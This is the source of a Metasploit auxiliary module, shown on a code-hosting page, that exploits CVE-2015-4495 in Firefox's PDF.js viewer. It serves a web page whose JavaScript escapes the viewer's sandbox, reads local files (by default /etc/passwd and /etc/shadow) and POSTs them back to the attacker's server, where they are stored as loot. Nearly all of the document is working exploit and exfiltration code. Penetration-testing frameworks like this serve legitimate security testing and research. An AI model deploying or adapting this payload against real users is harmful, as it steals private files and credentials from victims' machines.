CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info={})
11
super(update_info(info,
12
'Name' => 'Firefox PDF.js Browser File Theft',
13
'Description' => %q{
14
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
15
38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
16
occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
17
privileges to read local files. The in-the-wild malicious payloads searched for sensitive
18
files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
19
do not use the Mozilla PDF viewer.
20
},
21
'Author' => [
22
'Unknown', # From an 0day served on Russian news website
23
'fukusa', # Hacker news member that reported the issue
24
'Unknown' # Metasploit module
25
],
26
'License' => MSF_LICENSE,
27
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
28
'PassiveActions' => [ 'WebServer' ],
29
'References' =>
30
[
31
['URL', 'https://paste.debian.net/290146'], # 0day exploit
32
['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer
33
['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],
34
['CVE', '2015-4495']
35
],
36
'DefaultAction' => 'WebServer'
37
))
38
39
register_options([
40
OptString.new('FILES', [
41
false,
42
'Comma-separated list of files to steal',
43
'/etc/passwd, /etc/shadow'
44
])
45
])
46
47
register_advanced_options([
48
OptInt.new('PER_FILE_SLEEP', [
49
false,
50
'Milliseconds to wait before attempting to read the frame containing each file',
51
250
52
])
53
])
54
end
55
56
def run
57
print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")
58
exploit
59
end
60
61
def on_request_uri(cli, request)
62
if request.method.downcase == 'post'
63
print_status('Got POST request...')
64
process_post(cli, request)
65
send_response_html(cli, '')
66
else
67
print_status('Sending exploit...')
68
send_response_html(cli, html)
69
end
70
end
71
72
def process_post(cli, req)
73
name = req.qstring['name']
74
print_good("Received #{name}, size #{req.body.bytes.length}...")
75
output = store_loot(
76
name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'
77
)
78
print_good("Stored to #{output}")
79
end
80
81
def html
82
exploit_js = js + file_payload + '}, 20);'
83
84
"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"
85
end
86
87
def backend_url
88
proto = (datastore['SSL'] ? 'https' : 'http')
89
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
90
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
91
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
92
93
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
94
end
95
96
97
def file_payload
98
%Q|
99
var files = (#{JSON.generate(file_urls)});
100
function next() {
101
var f = files.pop();
102
if (f) {
103
get("file://"+f, function() {
104
var data = get_data(this);
105
var x = new XMLHttpRequest;
106
x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));
107
x.send(data);
108
}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);
109
setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);
110
}
111
}
112
next();
113
|
114
end
115
116
def file_urls
117
datastore['FILES'].split(',').map(&:strip)
118
end
119
120
def js
121
<<-EOJS
122
function xml2string(obj) {
123
return new XMLSerializer().serializeToString(obj);
124
}
125
126
function __proto(obj) {
127
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
128
}
129
130
function get(path, callback, timeout, template, value) {
131
callback = _(callback);
132
if (template && value) {
133
callback = callback.replace(template, value);
134
}
135
js_call1 = 'javascript:' + _(function() {
136
try {
137
open("%url%", "_self");
138
} catch (e) {
139
history.back();
140
}
141
undefined;
142
}, "%url%", path);
143
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
144
sandboxContext(_(function() {
145
i = document.getElementById('i');
146
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
147
i2 = document.getElementById('i2');
148
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
149
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
150
}));
151
setTimeout((function() {
152
sandboxContext(_(function() {
153
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
154
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
155
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
156
}));
157
}), timeout);
158
}
159
160
function get_data(obj) {
161
data = null;
162
try {
163
data = obj.document.documentElement.innerHTML;
164
if (data.indexOf('dirListing') < 0) {
165
throw new Error();
166
}
167
} catch (e) {
168
if (this.document instanceof XMLDocument) {
169
data = xml2string(this.document);
170
} else {
171
try {
172
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
173
data = this.document.body.firstChild.textContent;
174
} else {
175
throw new Error();
176
}
177
} catch (e) {
178
try {
179
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
180
return null;
181
} else {
182
throw new Error();
183
}
184
} catch (e) {
185
;;
186
}
187
}
188
}
189
}
190
return data;
191
}
192
193
function _(s, template, value) {
194
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
195
s = s.substring(0, s.length - 1);
196
if (template && value) {
197
s = s.replace(template, value);
198
}
199
s += __proto;
200
s += xml2string;
201
s += get_data;
202
s = s.replace(/\\s\\/\\/.*\\n/g, "");
203
s = s + ";undefined";
204
return s;
205
}
206
207
function get_sandbox_context() {
208
if (window.my_win_id == null) {
209
for (var i = 0; i < 20; i++) {
210
try {
211
if (window[i].location.toString().indexOf("view-source:") != -1) {
212
my_win_id = i;
213
break;
214
}
215
} catch (e) {}
216
}
217
};
218
if (window.my_win_id == null)
219
return;
220
clearInterval(sandbox_context_i);
221
object.data = 'view-source:' + blobURL;
222
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
223
object.data = 'data:text/html,<'+'html/>';
224
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
225
'"position:absolute; left:-9999px;" onload = "'+_(function(){
226
window.wrappedJSObject.sandboxContext=(function(cmd) {
227
with(importFunction.constructor('return this')()) {
228
return eval(cmd);
229
}
230
});
231
}) + '"/>');
232
}
233
234
235
var i = document.createElement("iframe");
236
i.id = "i";
237
i.width=i.height=0;
238
i.style='position:absolute;left:-9999px;';
239
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
240
document.documentElement.appendChild(i);
241
i.onload = function() {
242
if (this.contentDocument.styleSheets.length > 0) {
243
var i2 = document.createElement("iframe");
244
i2.id = "i2";
245
i2.width=i2.height=0;
246
i2.style='position:absolute;left:-9999px;';
247
i2.src = "data:application/pdf,";
248
document.documentElement.appendChild(i2);
249
pdfBlob = new Blob([''], {
250
type: 'application/pdf'
251
});
252
blobURL = URL.createObjectURL(pdfBlob);
253
object = document.createElement('object');
254
object.data = 'data:application/pdf,';
255
object.onload = (function() {
256
sandbox_context_i = setInterval(get_sandbox_context, 200);
257
object.onload = null;
258
object.data = 'view-source:' + location.href;
259
return;
260
});
261
document.documentElement.appendChild(object);
262
} else {
263
this.contentWindow.location.reload();
264
}
265
}
266
267
var kill = setInterval(function() {
268
if (window.sandboxContext) {
269
clearInterval(kill);
270
} else {
271
return;
272
}
273
EOJS
274
end
275
end
276
277